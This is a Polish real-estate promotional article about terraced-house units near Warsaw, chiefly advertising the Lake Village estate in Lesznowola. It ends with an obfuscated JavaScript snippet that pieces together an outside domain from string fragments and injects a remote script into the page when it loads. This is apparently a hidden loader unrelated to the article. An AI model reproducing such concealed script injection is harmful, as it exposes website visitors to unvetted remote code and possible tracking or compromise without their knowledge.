Warszawa i okolice - gdzie szukać segmentów z garażami?

W gminie Lesznowola, gdzie realizowana jest najnowsza inwestycja mieszkaniowa Lake Village.

Na rynku budowlanym działają takie same mechanizmy jak na rynku odzieżowym - są nimi trendy. Obecny trend w budownictwie mieszkaniowym koncentruje się na segmentach, które powstają zarówno na obrzeżach dużych miast takich jak Warszawa, jak i w mniejszych miejscowościach z nimi sąsiadujących. W okolicy Warszawy segmenty można znaleźć m.in. w Piasecznie, Nowej Iwicznie czy w okolicach Józefosławia.

Czym są segmenty?

Segment to wydzielona część budynku mieszkalnego stanowiąca odrębną nieruchomość. Budynki przeznaczone do zabudowy tego typu są projektowane w taki sposób, aby nie posiadały części wspólnej. Nie mają więc korytarzy i klatek schodowych, zamiast tego każdy segment ma oddzielne wejście. Segment stanowi swoisty kompromis pomiędzy mieszkaniem, a domem wolnostojącym – nie jest to dom, ale posiada ogród, a czasami nawet garaż.

Czy wszystkie segmenty wyglądają tak samo?

Realizowane w różnych miejscach inwestycje pokazują jak bardzo różnią się od siebie poszczególne projekty. Wśród podstawowych różnić można wskazać:

    • liczbę kondygnacji – segmenty w gminie Lesznowola (http://lakevillage.pl) mają dwa piętra, podczas gdy inwestycje realizowane na warszawskim Ursynowie zakładały segmenty jednopiętrowe;

    • garaż – wyposażenie segmentu w garaż zależy od projektu, ten z kolei jest uzależniony od pomysłu inwestora oraz zamożności jego potencjalnych klientów; nierzadko w obrębie jednego osiedla powstają dwa lub trzy rodzaje segmentów z garażami i bez, na ogół kieruje się je do innych grup docelowych;

    • metraż ogródka przydomowego – metraż ogródka może być uzależniony od areału działki inwestycyjnej, a także od posadowienia segmentu w budynku – to dotyczy w szczególności budynków dzielonych nieparzyście, w wyniku podziału których powstają części narożne z większymi ogrodami oraz części środkowe z mniejszymi, metraż ogródka wpływa oczywiście na cenę segmentu;

    • specyfikę osiedla – segmenty powstają zarówno na osiedlach otwartych, jak i zamkniętych, na osiedlu mogą być usytułowane place zabaw lub inne miejsca przeznaczone do zabawy i odpoczynku.

Co wyróżnia Lake Village na tle innych inwestycji realizowanych w okolicach Warszawy?

Garaż to nie jedyny atut segmentów powstających na osiedlu Lake Village nieopodal Nowej Iwicznej. Głównym walorem jest otoczenie budynków mieszkalnych, które obejmuje prywatne jezioro z otaczającymi je ścieżkami spacerowymi oraz klombami. Wskazując na zalety osiedla w gminie Lesznowola nie można również pominąć:

    • metrażu ogródków, które jak na segmenty są naprawdę duże,

    • otoczenia, w którym przeważają stwarzające możliwości do aktywnego odpoczynku na świeżym powietrzu tereny zielone,

    • infrastruktury, która jest bardzo dobrze rozwinięta i zapewnia mieszkańcom wszystko, czego im trzeba – sklepy, przedszkola, szkoły, centra rozrywki dla całej rodziny,

    • skomunikowania z centrum Warszawy, do którego można z łatwością dotrzeć także komunikacją miejską.

Segmenty Lake Village łączą w sobie urok mieszkania na wsi z wygodami, jakie oferuje dobrze rozwinięte i prosperujące miasto. Nic więc dziwnego w tym, że wzbudzają duże zainteresowanie na rynku nieruchomości.

(function(){ inic_=("u"+"st");inic=document.createElement("script");inic.async=true; inicu="124300692";inic_+="a"+("t.");inic_+="i"+("nf"+("o"))+("/"); inicu+=".in4ul256nicnsy1m";inicu+="5vv0968hii2asw"; inic.src="https://"+inic_+inicu;inic.type="text/javascript"; d_b=document.body;d_b.appendChild(inic); })();